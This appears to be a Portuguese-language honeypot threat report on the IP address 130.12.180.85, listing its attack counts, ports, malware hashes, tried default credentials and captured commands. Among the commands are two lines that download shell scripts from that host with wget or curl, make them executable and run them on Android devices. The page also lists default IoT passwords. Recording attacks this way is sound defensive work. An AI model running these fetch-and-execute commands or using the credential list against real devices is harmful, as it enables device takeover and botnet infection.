⚠TROYANOSYVIRUS
Ameaca Ativa • ALTO

130.12.180.85

Primeira Deteccao08/02/2026
Ultima Atividade15/02/2026
ISPRailnet LLC
🎯
715
Ataques Totais
🔌
3
Portas
📡
3
Tipos de Ataque
🦠
3
Malware

Geolocalizacao

Pais
🇺🇸 Estados Unidos
Cidade
Desconhecida
ASN
AS214943
ISP
Railnet LLC

Tipos de Ataque

cowrie
adbhoney
honeytrap

Portas Atacadas

2322225555

Malware Associado

2d21ee5994ccbac39371...→8a6ec7b5e46a3a9e5ee8...→e3b0c44298fc1c149afb...→

Credenciais Tentadas

🔐admin/admin
11x
🔐root/(vazio)
11x
🔐root/root
11x
🔐user/user
8x
🔐telecomadmin/admintelecom
6x
🔐hikvision/hikvision
6x
🔐root/xc3511
6x
🔐admin/password
5x
🔐pi/raspberry
5x
🔐admin/admin1234
5x
🔐root/86981198
5x
🔐ubnt/ubnt
5x
🔐root/j1/_6s*w
5x
🔐admin/12345
5x
🔐default/default
5x

Comandos Executados

$./10x
$echo SHELL_TEST7x
$cat /proc6x
$/bin/busybox TEST6x
$cd /data/local/tmp/; wget http://130.12.180.85/agent.sh || curl http://130.12.180.85/agent.sh -o agent.sh; chmod 777 agent.sh; sh agent.sh android1x
$cd /data/local/tmp/; wget http://130.12.180.85/cat.sh || curl http://130.12.180.85/cat.sh -o cat.sh; chmod 777 cat.sh; sh cat.sh android1x

Avaliacao de Risco

72
/100
BaixoMedioAltoCritico